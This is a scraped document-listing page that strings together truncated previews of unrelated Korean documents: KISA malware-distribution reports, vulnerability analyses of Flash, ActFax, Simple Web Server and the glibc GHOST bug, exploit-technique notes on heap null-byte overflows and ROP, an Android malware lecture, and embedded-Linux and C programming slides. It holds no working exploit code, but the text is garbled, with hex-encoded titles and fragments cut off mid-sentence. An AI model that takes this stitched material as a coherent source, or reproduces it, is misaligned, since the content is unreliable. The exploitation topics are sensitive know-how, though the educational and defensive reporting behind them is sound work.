I. 모바일악성코드동향 1. 스마트폰과모바일악성코드우리일상에서스마트폰을사용하는시간이점차증가하고있다. 모바일단말즉, 스마트폰의성능은점차 PC의성능에가까워지고있다. 스마트폰을이용하여인터넷뱅킹, 웹검색, 게임등다양한서비스를제공받을수있다. 또한가족과친구들의전화번호, 자신의신용 4 웹페이지취약점을통한 모바일악성코드유포방식분석 김병익 한국인터넷진흥원연구개발팀주임연구원 최근스마트폰의보급이활발히이루어지고있으며일상에서대다수의사람들이스마트폰을이용하여다양한활동을하고있다. 요즘보급되고있는스마트폰들의성능은거의 PC 수준에다다르고있다. 스마트폰은단순한전화통화기능을넘어각종게임, 채팅, 인터넷서핑, 인터넷뱅킹등다양한서비스를제공하고있다. 하지만스마트폰은사용하는애플리케이션의취약점,

More information

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B 월간악성코드은닉사이트탐지 동향보고서 (11 월 ) 2012. 12. 침해사고대응단 인터넷침해대응센터 < 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP10 3 - 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 10

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Microsoft PowerPoint - IOControl [호환 모드]

Microsoft PowerPoint - IOControl [호환 모드] 목차 Input/Output Control I/O Control Mechanism mmap function munmap function RAM Area Access LED Control 4 digits 7 Segment Control Text LCD Control 1 2 I/O Control Mechanism (1) I/O Control Mechanism (2)

More information

목 차 1. 개 요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 2 1.4. 대상시스템... 2 1.5. 원리... 2 2. 공격 기법 및 기본 개념... 3 2.1. Heap Spray... 3 2.2. Font... 4 3. 공 격..

목 차 1. 개 요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 2 1.4. 대상시스템... 2 1.5. 원리... 2 2. 공격 기법 및 기본 개념... 3 2.1. Heap Spray... 3 2.2. Font... 4 3. 공 격.. 취약점 분석 보고서 [ Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow - CVE-2012-1535 ] 2012-08-23 RedAlert Team 안상환 목 차 1. 개 요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 2 1.4. 대상시스템... 2 1.5. 원리...

More information

Secure Programming Lecture1 : Introduction

Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture3-2 Malware Analysis #3-2 Agenda 안드로이드악성코드분석 악성코드분석 안드로이드악성코드정적분석 APK 추출 #1 adb 명령 안드로이드에설치된패키지리스트추출 adb shell pm list packages v0nui-macbook-pro-2:lecture3 v0n$

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코 월간악성코드은닉사이트탐지 동향보고서 (2 월 ) 2013. 03. 침해사고대응단 인터넷침해대응센터 < 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP10 3 - 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3.

More information

ActFax 4.31 Local Privilege Escalation Exploit

ActFax 4.31 Local Privilege Escalation Exploit NSHC 2012. 12. 19. 취약점 분석 보고서 Information Service about a new vulnerability [ ] 목 차 1. 개 요... 2 2. 공 격... 5 3. 분 석... 9 4. 결 론... 12 5. 대응방안... 12 6. 참고자료... 13 Copyright 2012 Red Alert. All Rights Reserved.

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - lab14.pptx Mobile & Embedded System Lab. Dept. of Computer Engineering Kyung Hee Univ. Keypad Device Control in Embedded Linux HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착되어있다. 2 Keypad Device Driver

More information

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을 리눅스 취약점대응방안권고 15. 01. 29 / KISA 취약점점검팀 15. 01. 30 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE-2015-0235 지정, 도메인네임을 IP로변환하는기능이포함된서비스 ( 메일, 웹등 ) 들은해당취약점에영향을받을수있음 취약점상세분석

More information

<4D F736F F F696E74202D FB8DEB8F0B8AE20B8C5C7CE205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D FB8DEB8F0B8AE20B8C5C7CE205BC8A3C8AF20B8F0B5E55D> 학습목표 통신프로그램이무엇인지이해한다. 을이용한 IPC 기법을이해한다. 함수를사용해프로그램을작성할수있다. IT CookBook, 유닉스시스템프로그래밍 2/20 목차 의개념 함수 해제함수 의보호모드변경 파일의크기확장 매핑된메모리동기화 데이터교환하기 의개념 파일을프로세스의메모리에매핑 프로세스에전달할데이터를저장한파일을직접프로세스의가상주소공간으로매핑 read, write

More information

Mango220 Android How to compile and Transfer image to Target

Mango220 Android How to compile and Transfer image to Target Mango220 Android How to compile and Transfer image to Target http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환 취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

서현수

서현수 Introduction to TIZEN SDK UI Builder S-Core 서현수 2015.10.28 CONTENTS TIZEN APP 이란? TIZEN SDK UI Builder 소개 TIZEN APP 개발방법 UI Builder 기능 UI Builder 사용방법 실전, TIZEN APP 개발시작하기 마침 TIZEN APP? TIZEN APP 이란? Mobile,

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

Microsoft PowerPoint - ch09_파이프 [호환 모드]

Microsoft PowerPoint - ch09_파이프 [호환 모드] 학습목표 파이프를이용한 IPC 기법을이해한다. 이름없는파이프를이용해통신프로그램을작성할수있다. 이름있는파이프를이용해통신프로그램을작성할수있다. 파이프 IT CookBook, 유닉스시스템프로그래밍 2/20 목차 파이프의개념 이름없는파이프만들기 복잡한파이프생성 양방향파이프활용 이름있는파이프만들기 파이프의개념 파이프 두프로세스간에통신할수있도록해주는특수파일 그냥파이프라고하면일반적으로이름없는파이프를의미

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 파이프 IT CookBook, 유닉스시스템프로그래밍 학습목표 파이프를이용한 IPC 기법을이해한다. 이름없는파이프를이용해통신프로그램을작성할수있다. 이름있는파이프를이용해통신프로그램을작성할수있다. 2/20 목차 파이프의개념 이름없는파이프만들기 복잡한파이프생성 양방향파이프활용 이름있는파이프만들기 3/20 파이프의개념 파이프 두프로세스간에통신할수있도록해주는특수파일 그냥파이프라고하면일반적으로이름없는파이프를의미

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 메모리매핑 IT CookBook, 유닉스시스템프로그래밍 학습목표 통신프로그램이무엇인지이해한다. 메모리매핑을이용한 IPC 기법을이해한다. 메모리매핑함수를사용해프로그램을작성할수있다. 2/20 목차 메모리매핑의개념 메모리매핑함수 메모리매핑해제함수 메모리매핑의보호모드변경 파일의크기확장 매핑된메모리동기화 데이터교환하기 3/20 메모리매핑의개념 메모리매핑 파일을프로세스의메모리에매핑

More information

Microsoft PowerPoint - 김창수 v2.pptx

Microsoft PowerPoint - 김창수 v2.pptx Android Malicious Application Filtering System 세인트시큐리티김창수 kcs5287@stsc.com www.codeengn.com 2013 CodeEngn Conference 08 Contents Intro Android Malicious Application Malicious Application Analysis Automation

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 @ Lesson 2... ( ). ( ). @ vs. logic data method variable behavior attribute method field Flow (Type), ( ) member @ () : C program Method A ( ) Method B ( ) Method C () program : Java, C++, C# data @ Program

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어 개나리 연구소 C 언어 노트 (tyback.egloos.com) 프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어먹고 하더라구요. 그래서,

More information

THE TITLE

THE TITLE Android System & Launcher Team 8 목차 Android 1) Android Feature 2) Android Architecture 3) Android 개발방법 4) Android Booting Process Dalvik 1) Dalvik VM 2) Dalvik VM Instance Application 1) Application Package

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

모바일 안드로이드 아키텍처

모바일 안드로이드 아키텍처 2017( 제 10 회 ) 한국소프트웨어아키텍트대회 2017. 7. 20. 티온소프트김수현 shkim.hi@gmail.com 목차 1 Android OS Layer Architecture 2 Android Technical Architecture 3 Android Multimedia Architecture 2 Android OS Layer Architecture

More information

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770>

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770> i ii iii iv v vi 1 2 3 4 가상대학 시스템의 국내외 현황 조사 가상대학 플랫폼 개발 이상적인 가상대학시스템의 미래상 제안 5 웹-기반 가상대학 시스템 전통적인 교수 방법 시간/공간 제약을 극복한 학습동기 부여 교수의 일방적인 내용전달 교수와 학생간의 상호작용 동료 학생들 간의 상호작용 가상대학 운영 공지사항,강의록 자료실, 메모 질의응답,

More information

Microsoft PowerPoint APUE(Intro).ppt

Microsoft PowerPoint APUE(Intro).ppt 컴퓨터특강 () [Ch. 1 & Ch. 2] 2006 년봄학기 문양세강원대학교컴퓨터과학과 APUE 강의목적 UNIX 시스템프로그래밍 file, process, signal, network programming UNIX 시스템의체계적이해 시스템프로그래밍능력향상 Page 2 1 APUE 강의동기 UNIX 는인기있는운영체제 서버시스템 ( 웹서버, 데이터베이스서버

More information

(Microsoft PowerPoint - AndroG3\306\367\306\303\(ICB\).pptx)

(Microsoft PowerPoint - AndroG3\306\367\306\303\(ICB\).pptx) w w w. g b t e c. c o. k r 6 안드로이드 App 적용하기 115 1. 안드로이드개요 모바일 OS 의종류 - 스마트폰 : 스마트폰운영체제탑재 애플의 IOS(iPhone OS) - 아이폰, 아이패드, 아이팟터치 구글의안드로이드 - Nexus, 갤럭시 A, S, 모토로이, 시리우스,... MS 의윈도우모바일 ( 윈도우폰 7) - 옴니아 2,

More information

KEY 디바이스 드라이버

KEY 디바이스 드라이버 KEY 디바이스드라이버 임베디드시스템소프트웨어 I (http://et.smu.ac.kr et.smu.ac.kr) 차례 GPIO 및 Control Registers KEY 하드웨어구성 KEY Driver 프로그램 key-driver.c 시험응용프로그램 key-app.c KEY 디바이스드라이버 11-2 GPIO(General-Purpose Purpose I/O)

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

13주-14주proc.PDF

13주-14주proc.PDF 12 : Pro*C/C++ 1 2 Embeded SQL 3 PRO *C 31 C/C++ PRO *C NOT! NOT AND && AND OR OR EQUAL == = SQL,,, Embeded SQL SQL 32 Pro*C C SQL Pro*C C, C Pro*C, C C 321, C char : char[n] : n int, short, long : float

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

좀비프로세스 2

좀비프로세스 2 Signal & Inter-Process Communication Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 좀비프로세스 2 좀비프로세스 (zombie process) 좀비프로세스란프로세스종료후메모리상에서사라지지않는프로세스 좀비프로세스의생성이유. 자식프로세스는부모프로세스에게실행결과에대한값을반환해야한다.

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 @ Lesson 3 if, if else, if else if, switch case for, while, do while break, continue : System.in, args, JOptionPane for (,, ) @ vs. logic data method variable Data Data Flow (Type), ( ) @ Member field

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

C# Programming Guide - Types

C# Programming Guide - Types C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

TTA Journal No.157_서체변경.indd

TTA Journal No.157_서체변경.indd 표준 시험인증 기술 동향 FIDO(Fast IDentity Online) 생체 인증 기술 표준화 동향 이동기 TTA 모바일응용서비스 프로젝트그룹(PG910) 의장 SK텔레콤 NIC 담당 매니저 76 l 2015 01/02 PASSWORDLESS EXPERIENCE (UAF standards) ONLINE AUTH REQUEST LOCAL DEVICE AUTH

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

Copyright 2012, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT END USERS. Oracle programs, including any oper

Copyright 2012, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT END USERS. Oracle programs, including any oper Windows Netra Blade X3-2B( Sun Netra X6270 M3 Blade) : E37790 01 2012 9 Copyright 2012, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT END USERS. Oracle programs,

More information

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 binoopang@is119.jnu.ac.kr Abstract libc에서제공하는 API를후킹해본다. 물론이방법을사용하면다른라이브러리에서제공하는 API들도후킹할수있다. 여기서제시하는방법은리눅스후킹에서가장기본적인방법이될것이기때문에후킹의워밍업이라고생각하고읽어보자 :D Content 1.

More information

1

1 1 1....6 1.1...6 2. Java Architecture...7 2.1 2SDK(Software Development Kit)...8 2.2 JRE(Java Runtime Environment)...9 2.3 (Java Virtual Machine, JVM)...10 2.4 JVM...11 2.5 (runtime)jvm...12 2.5.1 2.5.2

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070> #include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 (Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 4 장파일 컴퓨터과학과박환수 1 2 4.1 시스템호출 컴퓨터시스템구조 유닉스커널 (kernel) 하드웨어를운영관리하여다음과같은서비스를제공 파일관리 (File management) 프로세스관리 (Process management) 메모리관리 (Memory management) 통신관리 (Communication management) 주변장치관리 (Device

More information

PowerPoint Presentation

PowerPoint Presentation GPU-based Keylogger Jihwan yoon 131ackcon@gmail.com Index Who am I Keylogger, GPU GPU based Keylogging - Locating the keyboard buffer - Capturing KEYSTROKES Demo About me Who am I 윤지환 CERT-IS reader BOB

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.

More information

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

